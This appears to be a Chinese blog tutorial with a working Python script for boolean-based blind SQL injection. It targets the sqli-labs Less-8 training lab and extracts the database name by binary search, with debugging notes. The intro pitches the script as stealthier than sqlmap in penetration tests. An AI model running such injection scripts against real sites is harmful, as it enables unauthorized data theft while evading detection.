python脚本实现布尔盲注

发布于:2024-05-06 ⋅ 阅读:(29) ⋅ 点赞:(0)

目录

代码实现

代码解释

过程中遇到的问题

1、+号url编码问题

2、二分法查找

3、如何判断这一次循环内的变量值等于上一次的值

第一种思路

第二种思路


相信师傅们在平常渗透测试中,偶尔会遇到布尔盲注的情况,但是手工的话太慢,上sqlmap流量又太大,特征太明显。所以用python脚本就是最优解,可以自定义user-agent等字段,注入速度等

代码实现

这里以sql-labs举例,代码比较粗糙,能用就行。话不多说,上代码

import requests
import math

# http://192.168.239.1/sqlilabs7/Less-8/?id=1' and length(database())>7--+
# http://192.168.239.1/sqlilabs7/Less-8/?id=1' and ascii(substr(database(),1,1))>114--+
url = "http://192.168.239.1/sqlilabs7/Less-8/"


def getdblength():
    for i in range(20):
        payload = f"1' and length(database())>{i}-- "
        data = {'id': payload}
        res = requests.get(url, params=data)
        if 'You are in...........' not in res.text:
            return i


def getdbname():
    dbname = ''
    length = getdblength()
    for i in range(1, length + 1):
        low = 32
        high = 126
        flag = 0
        while low <= high:
            mid = (low + high) // 2
            payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "
            data = {'id': payload}
            res = requests.get(url, params=data)
            if 'You are in...........' in res.text:
                low = mid
            else:
                high = mid
            if mid == flag:
                dbname += chr(math.floor(mid + 1))
                break
            flag = mid
        print(dbname)
    return dbname


print('dbname is', getdbname())

代码解释

我定义了两个函数

getdblength()  获取数据库名长度,遍历1~20,查询出数据库名长度

getdbname()   获取数据库名,使用二分法查找,查询出数据库名

getdblength函数相信大家都能看懂,这里重点解释一下getdbname()函数

第一层for循环是substr的第二个参数,即从字符串的哪个字符位置截取数据库名(mysql的substr默认从1开始),范围也就是(1,length+1)

第二层while循环是与ascii码比较的参数,即截取出来的字符转ascii码后进行比较

这里的范围重点说一下,我这里用的是二分法查找,说明白点就是从一个范围的中位数查找,通过结果来缩小范围,比如第一层循环的范围的是32~126,那取中位数就是79,用79作为payload来判断结果是否为真,若为真,则说明答案在79~126之间,然后以这个范围再做为第二层循环的范围,以此类推

那为什么范围是32~126呢?

因为在ascii码中32~126包含了字符数字字母,32以下和127都是不可见字符,不可能出现在数据库名中

过程中遇到的问题

然后下面我来说说我在写脚本的过程中遇到的问题

1、+号url编码问题

在Python requests.get函数中,param参数会自动把参数内容进行URL编码,我们要的是-- ,+号在W3C官方文档中规定代替空格,而如果你在payload中再写入+号,此时+号再被url编码就变为了%2B,后端url解码后,mysql并不认识+号,所以无法正常查询

前面说到ascii码32~126是可见字符,说明下面的sql语句条件肯定成立,返回结果应该为真,但是这里看到为假,说明sql语句并没有被正常执行,%2B并没有被mysql正常解析

http://192.168.239.1/sqlilabs7/Less-8/?id=1' and ascii(substr(database(),1,1))>32--%2B

2、二分法查找

二分法查找,从一个范围的中位数查找,通过结果来缩小范围,速度比遍历快得不止一星半点儿。

因为中位数随时会变化,所以while循环比for循环更适合

3、如何判断这一次循环内的变量值等于上一次的值

这个问题我是思考得最久的,但现在回想起来也是最简单的,可能是因为太久没写脚本了,有点忘了

具体问题就是,在二分法循环查找的过程中,最后范围会缩小,low和high的差距会缩小为1,而mid此时也不会再变化,是一个固定的值,那如何把这个数取出来呢。

第一种思路

我开始想的是既然low和high最后的差距会缩小为1,那索性就写成

if high - low == 1:
    dbname += chr(math.floor(mid))
                break

但事实证明这是错误的,数据库名爆出来是 sebtq.... ,与原来的security的ascii码相差1,这个问题我思考了很久,为什么前面se是对的,后面的又不对?(这里忘截图了)

最后我在调试中发现,有些时候的查找情况并不相同

第一种情况

比如c这个字母的ascii码是99,那按照二分法查找的逻辑来,

首先99>79,为真,那范围就变成了79~126;

然后99>102(向下取整),为假,范围就变成了79~102;

99>90,为真,范围 90~102;

99>96,为真,范围 96~102;

99>99,为假,范围 96~99;

99>97,为真,范围 97~99;

99>98,为真,范围 98~99;

但此时就出问题了,if条件是high-low==1,满足条件,mid=98,ascii码转为b

第二种情况和第一种类似,但是有一些细微差距

s这个字母的ascii码是115

前面和上面一样,慢慢推

只是最后

115>117,为假,范围114~117

115>115,为假,范围114~115

此时进入if条件,mid=115,刚好为s

所以如果用这种方法来判断是行不通的,因为mid会随机-1或刚好是你想要的字母,你无法预见mid值是否会比正确的值-1

第二种思路

我发现二分查找到最后,mid会一直不变,都是同样一个数。

那有没有一种方法能够比较这一层循环的mid和上一层循环的mid呢?

那就是代码中flag变量的意义,代码中可以看到flag首先在循环外声明,然后在循环内将mid最终的值赋给了flag来保存这个值,然后if条件判断flag也就是上一层mid的值是否与这一层循环mid的值相同,如果相同,则保存

最后成功打印出了数据库名

这个方法很常见,但是我当时就是没想到,可能是太久没碰代码了,所以今天才写这篇文章来加深印象